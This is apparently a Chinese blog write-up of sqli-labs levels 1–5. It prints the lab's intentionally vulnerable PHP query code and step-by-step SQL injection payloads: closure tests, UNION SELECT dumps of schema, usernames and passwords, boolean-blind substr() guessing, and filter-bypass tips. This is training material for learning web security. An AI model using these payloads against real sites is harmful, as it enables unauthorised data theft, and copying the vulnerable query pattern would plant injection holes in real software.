sqlilab靶场闯关与代码分析(持续更新)

sqlilab靶场闯关与代码分析

第一关

第一部分:源代码逻辑分析

一、代码分析过程

1、整段后端代码展示
<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables 
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);

// connectivity 


$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

	if($row)
	{
  	echo "<font size='5' color= '#99FF00'>";
  	echo 'Your Login name:'. $row['username'];
  	echo "<br>";
  	echo 'Your Password:' .$row['password'];
  	echo "</font>";
  	}
	else 
	{
	echo '<font color= "#FFFF00">';
	print_r(mysql_error());
	echo "</font>";  
	}
}
	else { echo "Please input the ID as parameter with numeric value";}

?>
2、sql注入点代码分析
  • 传参代码
$id=$_GET['id'];

说明:可以知道前端浏览器通过GET方式传递id参数

  • 连接数据库查询代码
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

说明:后端连接数据库的查询语句为SELECT * FROM users WHERE id='$id' LIMIT 0,1

  • 参数值过滤代码

无

  • 客户端回显方式代码
	if($row)
	{
  	echo "<font size='5' color= '#99FF00'>";
  	echo 'Your Login name:'. $row['username'];
  	echo "<br>";
  	echo 'Your Password:' .$row['password'];
  	echo "</font>";
  	}
	else 
	{
	echo '<font color= "#FFFF00">';
	print_r(mysql_error());
	echo "</font>";  
	}

说明:这里可以看到直接将回显的信息给输出和打印出来了

二、设计绕过的payload思路

因为这里后端代码没有对参数进行筛选逻辑,因此我们不需要进行绕过,直接攻击即可。

第二部分:模拟黑盒情况下攻击过程

一、找注入点和闭合方式

第一步:测试注入点,并分析反馈信息
  • 测试一
?id=1'

image-20260922151039611反馈的报错信息为

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1
# 你的 SQL 语句存在语法错误;请查阅对应 MySQL 版本手册,错误发生在靠近 `'1'' LIMIT 0,1` 这一段,位于 SQL 第 1 行。

说明:这里报这个错误说明id参数存在 MySQL SQL 注入漏洞,参数 id 直接拼接进 SQL 语句,没有做过滤 / 预编译。而且报错片段核心为near ''1'' LIMIT 0,1'大概率是SELECT * FROM table WHERE id='1'' LIMIT 0,1

  • 测试二
?id=1' and '1'='1

image-20260922152338194

?id=1' and '1'='2

image-20260922152359796

说明:这里我们第一个和第二个都正常显示。说明我们and连接符起作用了并且完成了闭合。

第二步:信息整合

说明:这一这整个大步骤可以得到注入点为id,闭合方式是'',传参方式是GET

二、攻击过程

猜列数
?id=1' order by 1--+
?id=1' order by 2--+
?id=1' order by 3--+
?id=1' order by 4--+

image-20260922154329659

image-20260922154347772

说明:第三列时没有报错在第四列报错了,一共三列

测试占位符的回显情况
?id=-1' union select 1,2,3--+

image-20260922154524269

说明:2,3位置查询的信息是可以在前端看到的

查库名和数据库的用户名
?id=-1' union select 1,database(),user()--+

image-20260922150847893

说明:当前数据库名称为security,该数据库的用户为本地用户root

补充:这里还有其他可用的数据库敏感数据查询函数

| 函数          | 功能说明 | 补充备注 |
| ------------| ----  | ---- |
| `database()` | 获取当前数据库名 | 等价 `schema()` |
| `version()`  | MySQL 版本     | 也可以写 `@@version` |
| `user()`     | 当前登录数据库用户 | 格式如 `root@localhost` |
| `@@version_compile_os` | 服务器操作系统 | Windows / Linux |
| `@@datadir`  | MySQL 数据存放目录 | 高权限可读 |
拿当前数据库的表名
?id=-1' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database()--+

image-20260922161240904

说明:这里可以看出当前数据库下面有emails,referers,uagents,users这几个表。我们这里的重点是users表,由名字可知这个表里存放着用户的各种信息。

补充:group_concat()函数使得查询的多行结果合并为一行输出

查目标表中的字段
?id=-1' union select 1,database(),group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'--+

image-20260922162051911

说明:这里可以看出users表的字段为id,username,password,接下来我们来进行查这些字段的数据

查数据
?id=-1' union select 1,database(),group_concat(username,0x7e,password) from users--+

image-20260922162707183

说明:这里就拿到了数据

补充:0x7e为~符号的16进制

第二关

第一部分:源代码逻辑分析

与第一个逻辑相同,就是闭合方式变了

第二部分:模拟黑盒情况下攻击过程

一、找注入点和闭合方式

第一步:测试注入点,并分析反馈信息
?id=1 and 1=1--+
?id=1 and 1=2--+

image-20260923163243857

image-20260923163259296

说明:两次显示都是正常的显示,说明我们闭合成功了

第二步:信息整合

说明:注入点为id,整型注入

二、攻击过程

与第一个逻辑相同

第三关

第一部分:源代码逻辑分析

与第一个代码逻辑相同,就是闭合方式变了

第二部分:模拟黑盒情况下攻击过程

一、找注入点和闭合方式

第一步:测试注入点,并分析反馈信息
  • 测试一
?id=1'--+
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' at line 1

image-20260922230339579

说明:很大可能闭合纯在'该符号,但绝对不单单是',当然也可为整型,因此下一个测试我们要先测简单的整型

  • 测试二
?id=1 and 1=1--+
?id=1 and 1=2--+

image-20260922230527518

image-20260922230558472

说明:这里第一个正常显示但第二个没有正常显示,说明闭合出现问题,不是整型闭合。我们带上'尝试其他符号

  • 测试三
?id=1')--+

image-20260922223319829

说明:这里正常显示,下面我们进行测试是否为这个闭合符号

  • 测试四
?id=1') and 1=1--+
?id=1') and 1=2--+

image-20260922224956763

image-20260922225023112

说明:这里我们第一个有查询到数据,第二个没有查询到,且都没有报错。说明我们and连接符起作用了并且完成了闭合。

第二步:信息整合

说明:这一这整个大步骤可以得到注入点为id,闭合方式是(''),传参方式是GET

二、攻击过程

与第一个步骤相同

第四关

第一部分:源代码逻辑分析

与第一个代码逻辑相同,就是闭合方式变了

第二部分:模拟黑盒情况下攻击过程

一、找注入点和闭合方式

第一步:测试注入点,并分析反馈信息
  • 测试一

    ?id=1'
    

image-20260923164632905

说明:这里没有报错,说明这里闭合很大概率包含""

  • 测试二

    ?id=1"
    

    image-20260923165219004

说明:这里报错信息来说,闭合符号很多概率为("")

  • 测试三
?id=1") and 1=1--+
?id=1") and 1=2--+

image-20260923165632786

image-20260923165732450

说明:两个都是正常显示,说明我们的and关键字起作用了,说明闭合成功了

第二步:信息整合

说明:注入点为id,闭合符为(""),参数传输为GET

二、攻击过程

与第一个逻辑相同

第五关

第一部分:源代码逻辑分析

一、代码分析过程

1、整段后端代码展示
<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);

// connectivity 


$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

	if($row)
	{
  	echo '<font size="5" color="#FFFF00">';	
  	echo 'You are in...........';
  	echo "<br>";
    	echo "</font>";
  	}
	else 
	{
	
	echo '<font size="3" color="#FFFF00">';
	print_r(mysql_error());
	echo "</br></font>";	
	echo '<font color= "#0000ff" font size= 3>';	
	
	}
}
	else { echo "Please input the ID as parameter with numeric value";}

?>
2、sql注入点代码分析
  • 传参代码
$id=$_GET['id'];

说明:这里为GET方式传参

  • 连接数据库查询代码
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

说明:闭合方式为''

  • 参数值过滤代码

无

  • 客户端回显方式代码
	if($row)
	{
  	echo '<font size="5" color="#FFFF00">';	
  	echo 'You are in...........';
  	echo "<br>";
    	echo "</font>";
  	}
	else 
	{
	
	echo '<font size="3" color="#FFFF00">';
	print_r(mysql_error());
	echo "</br></font>";	
	echo '<font color= "#0000ff" font size= 3>';	
	
	}

说明:这里成功登录显示为'You are in...........',出错了也打印报错信息

print_r(mysql_error());

二、设计绕过的payload思路

无过滤代码

第二部分:模拟黑盒情况下攻击过程

一、找注入点和闭合方式

第一步:测试注入点,并分析反馈信息
  • 测试一
?id=1'
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1

image-20260923171526686

说明:这里要么是整型闭合或者带'符号的闭合

  • 测试二
?id=1 and 1=1--+
?id=1 and 1=2--+

image-20260923171900490

image-20260923171916567

说明:这里第一个显示成功但第二个未显示成功(and未拼接成功),闭合失败,说明不是整型

  • 测试三
?id=1' and 1=1--+
?id=1' and 1=2--+

image-20260923193233686

image-20260923193258248

说明:这里尝试'符号时,两个都正常显示了,说明我们这里拼接成功了

第二步:信息整合

参数变量为id,闭合为',GET传递方式

二、攻击过程

猜库名
#猜数据库名称的长度(利用二分法来猜长度)
?id=1' and length(database())<10--+
?id=1' and length(database())>1--+
..........
?id=1' and length(database())=8--+

#猜数据库的名称(这里可以通过脚本来进行)
#猜数据库的第一位
?id=1' and 's'=(select substr(database(),1,1))--+
#猜数据库的第二位
?id=1' and 'se'=(select substr(database(),1,2))--+
..........
#猜数据库的第八位
?id=1' and 'security'=(select substr(database(),1,8))--+

说明:这里就得到了数据库的名称

补充:

  • 在过滤逗号的情况下可以用这种写法substr(字符串 FROM 起始位置 FOR 截取长度)
  • mid()、left()可以替换substr()函数,在该函数被过滤情况下可用

第关

第一部分:源代码逻辑分析

一、代码分析过程

1、整段后端代码展示
2、sql注入点代码分析
  • 传参代码

  • 连接数据库查询代码

  • 参数值过滤代码

  • 客户端回显方式代码

二、设计绕过的payload思路

第二部分:模拟黑盒情况下攻击过程

一、找注入点和闭合方式

第一步:测试注入点,并分析反馈信息
第二步:信息整合

二、攻击过程

posted @ 2026-10-06 19:27  新手打怪兽  阅读(10)  评论(0)    收藏  举报